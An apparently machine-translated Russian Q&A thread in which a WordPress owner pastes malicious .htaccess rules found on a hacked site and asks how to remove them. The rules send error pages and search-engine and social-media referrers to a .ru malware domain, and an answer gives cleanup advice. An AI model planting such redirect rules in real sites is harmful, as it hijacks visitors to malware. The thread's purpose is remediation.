Попытка восстановить сайты из .htaccess перенаправления вредоносных программ на Wordpress - PullRequest
0 голосов
/ 25 сентября 2011

Простите, если это вопрос noob, но я честно озадачен.

Мой сайт, размещенный на Wordpress, попал в черный список из-за некоторого вредоносного ПО.До сих пор я пробовал unmaskparasites.com, инструменты для веб-мастеров Google и sucuri sitecheck.Я сузил (как мне кажется) большую часть проблемы до некоторых условий перенаправлений в .htaccess.Вот что я нашел:

ErrorDocument 400 http://securesoftconnection.ru/aposte/index.php

ErrorDocument 401 http://securesoftconnection.ru/aposte/index.php

ErrorDocument 403 http://securesoftconnection.ru/aposte/index.php

ErrorDocument 404 http://securesoftconnection.ru/aposte/index.php

ErrorDocument 500 http://securesoftconnection.ru/aposte/index.php

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteCond % {HTTP_REFERER} .*google.* [OR]

RewriteCond % {HTTP_REFERER} .*ask.* [OR]

RewriteCond % {HTTP_REFERER} .*yahoo.* [OR]

RewriteCond % {HTTP_REFERER} .*baidu.* [OR]

RewriteCond % {HTTP_REFERER} .*youtube.* [OR]

RewriteCond % {HTTP_REFERER} .*wikipedia.* [OR]

RewriteCond % {HTTP_REFERER} .*qq.* [OR]

RewriteCond % {HTTP_REFERER} .*excite.* [OR]

RewriteCond % {HTTP_REFERER} .*altavista.* [OR]

RewriteCond % {HTTP_REFERER} .*msn.* [OR]

RewriteCond % {HTTP_REFERER} .*netscape.* [OR]

RewriteCond % {HTTP_REFERER} .*aol.* [OR]

RewriteCond % {HTTP_REFERER} .*hotbot.* [OR]

RewriteCond % {HTTP_REFERER} .*goto.* [OR]

RewriteCond % {HTTP_REFERER} .*infoseek.* [OR]

RewriteCond % {HTTP_REFERER} .*mamma.* [OR]

RewriteCond % {HTTP_REFERER} .*alltheweb.* [OR]

RewriteCond % {HTTP_REFERER} .*lycos.* [OR]

RewriteCond % {HTTP_REFERER} .*search.* [OR]

RewriteCond % {HTTP_REFERER} .*metacrawler.* [OR]

RewriteCond % {HTTP_REFERER} .*bing.* [OR]

RewriteCond % {HTTP_REFERER} .*dogpile.* [OR]

RewriteCond % {HTTP_REFERER} .*facebook.* [OR]

RewriteCond % {HTTP_REFERER} .*twitter.* [OR]

RewriteCond % {HTTP_REFERER} .*blog.* [OR]

RewriteCond % {HTTP_REFERER} .*live.* [OR]

RewriteCond % {HTTP_REFERER} .*myspace.* [OR]

RewriteCond % {HTTP_REFERER} .*mail.* [OR]

RewriteCond % {HTTP_REFERER} .*yandex.* [OR]

RewriteCond % {HTTP_REFERER} .*rambler.* [OR]

RewriteCond % {HTTP_REFERER} .*ya.* [OR]

RewriteCond % {HTTP_REFERER} .*aport.* [OR]

RewriteCond % {HTTP_REFERER} .*linkedin.* [OR]

RewriteCond % {HTTP_REFERER} .*flickr.*

RewriteRule ^ (.*)$ http: //securesoftconnection.ru/aposte/index.php [R=301,L]

</IfModule>

Итак, я, очевидно, понял, что это не круто.Я попытался отредактировать .htaccess в стандартном формате WordPress:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress 

Но это не сработало.Есть ли лучший способ исправить это?Или просто не стоит?Я не знаю много о .htaccess, так что я немного растерялся.Теперь у меня также возникают проблемы с загрузкой нового файла .htaccess.

Любая ваша помощь по сбросу файла WordPress .htaccess, избавлению от вредоносного ПО или чего-либо еще, о чем я, возможно, даже не знаю,Буду очень признателен.

1 Ответ

1 голос
/ 25 сентября 2011

Удалите .htaccess, а затем сбросьте постоянные ссылки в WP, чтобы восстановить .htaccess с правильным блоком перезаписи.

И посмотрите FAQ: Мой сайт был взломан «WordPress Codex и Howполностью очистить вашу взломанную установку WordPress и Как найти бэкдор в взломанной WordPress и Укрепляющий WordPress «WordPress Codex. Расскажите вашему хосту.Измените все passswords.Просканируйте свой компьютер на наличие шпионских программ.

...